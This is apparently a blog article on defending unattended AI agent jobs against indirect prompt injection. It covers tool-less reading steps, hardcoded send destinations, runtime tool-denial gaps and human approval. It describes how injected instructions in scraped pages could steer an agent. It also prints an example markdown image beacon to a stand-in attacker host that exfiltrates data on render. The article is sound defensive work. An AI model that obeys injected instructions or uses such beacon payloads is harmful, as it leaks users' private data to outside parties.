Home / Articles / Prompt-injection isolation for agent jobs
Security · Agent architecture

Isolating Autonomous Agent Jobs from Prompt Injection

Martin Andrt July 10, 2026

Prompt injection is a tool-access problem, not a wording problem. The durable fix isn't a cleverer instruction, it's isolation: the step that reads untrusted content gets no tools and can only emit text, a separate piece of deterministic code performs any real action toward destinations hardcoded in advance, and a human approves anything irreversible. That is Simon Willison's dual-LLM pattern, aimed at breaking his “lethal trifecta” — private data, untrusted content, and a way to send data out. What follows isn't a new defense; it's the operator's view of running that known one unattended on jobs that read scraped pages, RSS, and transcripts every day: what I actually switch off, the gap you only find by attacking your own setup, and the place text-only output still leaks.

Prompt injection is a tool-access problem, not a wording problem

Prompt injection is when text an LLM reads as data contains instructions it then follows. The dangerous variant for automation is indirect prompt injection: the instruction arrives inside content the agent fetched on its own — a scraped page, an RSS item, an email body — so no human chose to send it. The term and the lethal-trifecta framing named in the intro are both Simon Willison's, from years of writing on this.

The instinct is to worry about what the model might say. That's the wrong axis. Remove any one leg of the trifecta and the attack has nowhere to land, and the cheapest leg to remove is the model's ability to act. If the step reading untrusted content holds no tools and can only produce text, a successful injection can't call an endpoint, write a file, or send a message. The design question isn't “how do I phrase the guard rail?” but “what can this step actually do if it's fully compromised?”

One boundary to fix first: a trusted source is not trusted content. A reputable feed or a shared drive is a trusted transport; what flows through it usually isn't.

Trusted sourceUntrusted content
A reputable RSS or forum APIIndividual items are user-submitted or aggregated
A shared drive you ownA document an outside collaborator can edit
Your own email inboxThe body of a message from anyone
Decides whether the pipe is reliableDecides whether the text can be an instruction
The architecture

Make the reading step inert, and hardcode where the code sends

Willison's quarantined LLM, in practice: call the model with no tools at all, so its only output is text. A separate, deterministic piece of code takes that string and does anything real — and its destination is hardcoded, never derived from the model's output or the fetched content. Even if an injection makes the model write “send this to attacker@evil.com,” nothing reads that as an address; the sending code already knows where the digest goes.

# the whole safety property in one shape
text = llm(prompt)               # inert: no tools, text only
post_to(HARDCODED_CHANNEL, text) # deterministic: destination is a constant

Inside that inert step, keep the fetched text from blurring into your instructions: wrap it in an explicit tag (<transcript>…</transcript>), precede it with a note that everything inside is data and not instructions, and escape any closing tag in the payload so it can't break out. That's a probabilistic layer, not a proof — it earns its place only because the step behind it has no tools.

Text-only output is not the same as safe output

Here is the trap in “it can only emit text.” Text is harmless only until something renders it. The moment the output is displayed as markdown or HTML — in a chat client, a dashboard, an email — an injected image beacons the instant it loads: ![](https://attacker.example/p.png?d=…) ships whatever the model was steered into appending, with no click required. An injected link is the same attack waiting for a human. This is the exfiltration leg of the trifecta hiding in the render, not in a tool, and it is more automatable than social-engineering a reviewer. So “inert” has to reach the output sink too: render untrusted-derived text as plain text, or strip and escape markup before anything displays it.

What I turn off, and why one switch isn't enough

“No tools” has to be enforced by the runtime, not assumed. On the setup these jobs run on, it took three things together, not one: start the model with no connectors loaded at all (no mail, drive, or calendar surface to reach), deny the built-in and control tools by name, and run a permission mode that refuses anything not explicitly allowed. Each alone left a hole — an empty allow-list is not deny-everything, and a background control action still fired once when I thought everything was off.

That is the real lesson, and the honest disclaimer with it: I trust a step is inert only after I have tried to make it act and watched it fail, not after reading the flags. To be clear, these defenses are proactive — built from how the attacks work, not forensics after a breach. The one incident I can point to isn't a caught injection; it is discovering, while auditing my own jobs, how much a single “off” switch quietly left on.

Where it fails

Where this still fails

Isolation narrows the blast radius; it doesn't close it.

The takeaway isn't a fortress. The safety of an autonomous agent lives in its architecture — which steps can act, toward which hardcoded destinations, behind which human, into which render — not in a paragraph asking the model to behave.

FAQ
How is this different from Simon Willison's dual-LLM pattern?
At the core it isn't — the inert step is his quarantined LLM, and the goal is breaking his lethal trifecta. What this adds is operational: the enforcement gaps you hit making a step genuinely tool-less, the hardcoded-destination rule for the code that acts, and the render-exfiltration path that survives a text-only model. It's the field version of a known pattern, not a new one.
If the LLM step has no tools, how can prompt injection still cause harm?
Two ways. If the output is rendered as markdown or HTML, an injected image or link can exfiltrate data on display or on a click, with no tool involved. And if a human approves a persuasive result, the injection reached the person instead of a tool. Removing tools removes the easy path, not every path — which is why the output sink and the human gate still matter.
Can I run this fully unattended?
Only for narrow, reversible, repeated actions with a hardcoded destination and an inert LLM step — a daily digest to your own channel fits. Anything irreversible, outward-facing, or reaching a new audience should keep a human approval gate. The human isn't a training wheel; the code can't enforce a guarantee it doesn't hold.

Related. This pattern is one half of how I run an AI operating layer unattended; the other half is how the agent remembers what it learned between runs, covered in persistent memory without a vector database. A broader field report is in the case study.